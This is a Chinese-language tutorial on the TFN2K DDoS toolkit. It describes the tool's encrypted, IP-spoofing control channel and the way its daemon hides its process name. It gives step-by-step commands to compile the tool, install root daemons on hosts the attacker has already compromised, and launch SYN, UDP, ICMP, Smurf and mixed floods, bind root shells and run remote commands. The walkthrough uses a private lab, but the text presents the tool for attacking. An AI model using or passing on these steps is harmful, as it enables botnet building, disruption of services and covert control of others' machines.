DDoS 攻击基础教程

简介

TFN 被认为是当今功能最强性能最好的 DoS 攻击工具，几乎不可能被察觉。每一个人都应该意识到假如他不足够关心他的安全问题，最坏的情形就会发生。因此这个程序被设计成大多数的操作系统可以编译，以表明现在的操作系统没有特别安全的，包括 Windows,Solaris,Linux 及其他各种 unix.

术语

- **客户端——用于通过发动攻击的应用程序，攻击者通过它来发送各种命令。**
- **守护程序——在代理端主机运行的进程，接收和响应来自客户端的命令。**
- **主控端——运行客户端程序的主机。**
- **代理端——运行守护程序的主机。**
- **目标主机——分布式攻击的目标(主机或网络)。**

什么是 TFN2K?

TFN2K 通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的 UNIX、Solaris 和 Windows NT 等平台的主机能被用于此类攻击，而且这个工具非常容易被移植到其它系统平台上。

TFN2K 由两部分组成：在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主机，能够在攻击过程中相互协同，保证攻击的连续性。主控央和代理端的网络通讯是经过加密的，还可能混杂了许多虚假数据包。整个 TFN2K 网络可能使用不同的 TCP、UDP 或 ICMP 包进行通讯。而且主控端还能伪造其 IP 地址。所有这些特性都使发展防御 TFN2K 攻击的策略和技术都非常困难或效率低下。

TFN2K 的技术内幕

◆ 主控端通过 TCP、UDP、ICMP 或随机性使用其中之一的数据包向代理端主机发送命令。对目标的攻击方法包括 TCP/SYN、UDP、ICMP/PING 或 BROADCAST PING (SMURF)数据包 flood 等。

◆ 主控端与代理端之间数据包的头信息也是随机的，除了 ICMP 总是使用 ICMP_ECHOREPLY 类型数据包。

◆ 与其上一代版本 TFN 不同，TFN2K 的守护程序是完全沉默的，它不会对接收到的命令有任何回应。客户端重复发送每一个命令 20 次，并且认为守护程序应该至少能接收到其中一个。

◆ 这些命令数据包可能混杂了许多发送到随机 IP 地址的伪造数据包。

◆ TFN2K 命令不是基于字符串的，而采用了"++"格式，其中是代表某个特定命令的数值，则是该命令的参数。

◆ 所有命令都经过了 CAST-256 算法(RFC 2612)加密。加密关键字在程序编译时定义，并作为 TFN2K 客户端程序的口令。

◆ 所有加密数据在发送前都被编码(Base 64)成可打印的 ASCII 字符。TFN2K 守护程序接收数据包并解密数据。

◆ 守护进程为每一个攻击产生子进程。

◆ TFN2K 守护进程试图通过修改 argv[0]内容(或在某些平台中修改进程名)以掩饰自己。伪造的进程名在编译时指定，因此每次安装时都有可能不同。这个功能使 TFN2K 伪装成代理端主机的普通正常进程。因此，只是简单地检查进程列表未必能找到 TFN2K 守护进程(及其子进程)。

◆ 来自每一个客户端或守护进程的所有数据包都可能被伪造。

特点描述：

TFN 使用了分布式客户服务器功能，加密技术及其它类的功能，它能被用于控制任意数量的远程机器，以产生随机匿名的拒绝服务攻击和远程访问。

此版本的新特点包括：

1. 功能性增加:
   为分布式执行控制的远程单路命令执行
   对软弱路由器的混合攻击
   对有 IP 栈弱点的系统发动 Targa3 攻击
   对许多 unix 系统和 WinNT 的兼容性。
2. 匿名秘密的客户服务器通讯使用：
   假的源地址
   高级加密
   单路通讯协议
   通过随机 IP 协议发送消息
   诱骗包

编译：

在编译之前，先要编辑 src/makefile 文件修改选项符合你的操作系统。建议你看一下 src/config.h 然后修改一些重要的缺省值。一旦你开始编译，你会被提示输入一个 8--32 位的服务器密码。如果你使用 REQUIRE=#PASS 类型编译，在使用客户端时你必须输入这个密码。

TFN2K 为开放原代码的软件,所以需要我们进行编译,这个不用说了,编译应该都会的吧,但有 几个地方是必需注意的,因为使用不同版本和厂商的 LINUX 需要不同的设置.

先修改 src/ip.h

注释掉以下部分，否则编译出错。

```
/*struct in_addr
        {
       unsigned long int s_addr;
};*/
```

然后 make 进行编译

编译时会提示你输入服务器端进行密码设置 8-32 位,(攻击的时候需要输入密码)编译后会出

现两个新的执行文件 td 和 tfn,其中 **td 是守护进程**,也是客户机的使用进程,而 tfn 是服务器控制进程,如果想攻击别人就必需先起动 td 这个进程,然后再运行服务器进程,否则攻击无效,更改密码可以执行 mkpass 进行更改,最后在所有的客户机中安装并运行 td(需要 ROOT 权限),并且在服务器上建立一个文本文件,文件中记录所有的客户机 IP 地址(用 VI 编辑一个就可行了),格式为:

文件第一行输入：192.168.111.1

文件第二行输入：192.168.111.2

文件第三行输入：192.168.111.3

.....

安装：

TFN 服务器端被安装运行于主机，身份是 root（或 euid root）。它将用自己的方式提交系统配置的改变，于是如果系统重启你也得重启。一旦服务器端被安装，你就可以把主机名加入你的列表了（当然你也可以联系单个的服务器端）。TFN 的客户端可以运行在 shell(root)和 Windows 命令行(管理员权限需要在 NT 上).

使用客户端：

客户端用于联系服务器端，可以改变服务器端的配置，衍生一个 shell,控制攻击许多其它的机器。你可以 tfn -f file 从一个主机名文件读取主机名，也可以使用 tfn -h hostname 联系一个服务器端。

缺省的命令是通过杀死所有的子线程停止攻击。命令一般用-c ，请看下面的命令行描述。 选项-i 需要给命令一个值，分析目标主机字符串，这个目标主机字符串缺省用分界符@。当使用 smurf flood 时，只有第一个是被攻击主机，其余被用于直接广播。

1) 1 -反欺骗级：服务器产生的 DoS 攻击总是来源于虚假的源地址。通过这个命令，你可以控制 IP 地址的哪些部分是虚假的，哪些部分是真实的 IP。
2) 2 -改变包尺寸：缺省的 ICMP/8,smurf,udp 攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。
3) 3 - 绑定 root shell:启动一个会话服务，然后你连接一个指定端口就可以得到一个 root shell。
4) 4 - UDP flood 攻击：这个攻击是利用这样一个事实：每个 udp 包被送往一个关闭的端口，这样就会有一个 ICMP 不可到达的信息返回，增加了攻击的能力。
5) 5 - SYN flood 攻击：这个攻击有规律的送虚假的连接请求。结果会使目标端口拒绝服务，添满 TCP 连接表，通过对不存在主机的 TCP/RST 响应增加攻击潜力。
6) 6 - ICMP 响应(ping)攻击：这个攻击发送虚假地址的 ping 请求，目标主机会回送相同大小的响应包。
7) 7 - SMURF 攻击：用目标主机的地址发送 ping 请求以广播扩大，这样目标主机将得到回复一个多倍的回复。
8) 8 - MIX 攻击：按照 1:1:1 的关系交替的发送 udp,syn,icmp 包，这样就可以对付路由器，其它包转发设备，NIDS,sniffers 等。
9) 9 -TARGA3 攻击 IP stack penetration tool / 'exploit generator'.Sends combinations of uncommon IP packets to hoststo generate attacks using invalid

fragmentation, protocol, packet size, header values, options, offsets, tcp segments, routing flags, and other unknown/unexpected packet values. Useful for testing IP stacks, routers, firewalls, NIDS, etc. for stability and reactions to unexpected packets. Some of these packets might not pass through routers withfiltering enabled - tests with source and destination hoston the same ethernet segment gives best effects.

10) 10 - 远程命令执行：给予单路在服务器上执行大量远程命令的机会。

使用 tfn 用于分布式任务

(Using TFN for other distributed tasks)

新版本的 DDOS 工具包含一个最新流行的特点：软件的自我更新。
TFN 也有这个功能，作者并没有显式的包含这个功能。在 ID 10 远程执行命令中给予用户在任意数量远程主机上以批处理的形式执行同样 shell 命令的能力。这同时也证明了一个问题：DDOS 等类似的分布式网络工具不仅仅简单的用于拒绝服务，还可以做许多实际的事情。

TFN 使用方法：

usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by @, see below
[-p port] A TCP destination port can be specified for SYN floods
0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command

测试环境：

共有 5 台机器，是在五台 redhat linux6.2 上测试的。

192.168.111.1
192.168.111.2
192.168.111.3
192.168.111.55
192.168.111.88

简要介绍：

我们的测试目的是用 192.168.111.55 指挥 192.168.111.1,192.168.111.2,192.168.111.3,三台机器对 192.168.111.88 发动攻击。(实际攻击中就不止三台了。)

详细步骤：

黑客攻击时事先要控制 192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55 这四台机器。

这一步我就不说了，大家一定有办法

1.编译代码。

假设在 192.168.112.55 上。

首先一定要有 root 权限

解开文件:

#tar zxvf tfn2k.tgz

#cd tfn2k

如果你不是 linux 或者 bsd 请修改 src 下的 Makefile 文件。

#make

make 过程中会让你输入一个密码，8--32 位的。那就输入一个吧，将来 tfn 和 td 联系时需要这个密码。我输入的是：aaaabbbb

make 完成你会发现，多了两个可执行文件:tfn,td

2.在 192.168.111.1,192.168.111.2,192.168.111.3 上安装 td。

然后在分别在 192.168.111.1,192.168.111.2,192.168.111.3 上

#./td　注意一定要有 root 权限，否则无法运行。

3.在 192.168.111.55 安装 tfn。

由于我们是在 192.168.111.55 上编译的，tfn 就已经在了。

4.由 192.168.111.55 指挥 192.168.111.1,192.168.111.2,192.168.111.3 对 192.168.111.88 发动攻击。

好了，我们终于完成了准备工作，攻击可以开始了。。。

我现在在 192.168.111.55 的/tfn2k/目录下。。。

我们需要编辑一个文件列表。

#vi hosts.txt

文件第一行输入：192.168.111.1

文件第二行输入：192.168.111.2

文件第三行输入：192.168.111.3

这就是控制文件列表。

然后我们测试一下连接。

在 192.168.111.55 上

下面的命令意思是：在 hosts.txt 文件中的机器上执行远程命令“mkdir jjgirl”,其中-c 10 表示执行远程命令。执行完这个命令就会在那三台机器上都建立 jjgirl 目录。当然你可以随便执行其他的命令。

#./tfn -f hosts.txt -c 10 -i mkdir jjgirl

Protocol : random

Source IP : random

Client input : list

Command : execute remote command

Password verification: （这时我们输入密码：aaaabbbb）

Sending out packets: .

好了，完成。

然后我们在 192.168.111.1 上执行：

#find / -name jjgirl -print

好，找到了。说明我们连接成功。。。

下面开始正式攻击了。。。

你可以在 192.168.111.1 上：

先来 ICMP 攻击

#./tfn -f hosts.txt -c 6 -i 192.168.111.88（十分钟，192.168.111.88 就死机了）

重启，接着测试。。。

SYN/TCP 攻击：

#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80

UDP 攻击：

#./tfn -f hosts.txt -c 4 -i 192.168.111.88

ICMP/TCP/UDP 轮流攻击：

#./tfn -f hosts.txt -c 8 -i 192.168.111.88

5。攻击结束

如果我们想停止攻击：

#./tfn -f host.txt -c 0

实际 tfn 还有许多攻击选项，大家可以再回头看我的第一篇文章，看一下-c 后面的 11 个选项。整个测试结束。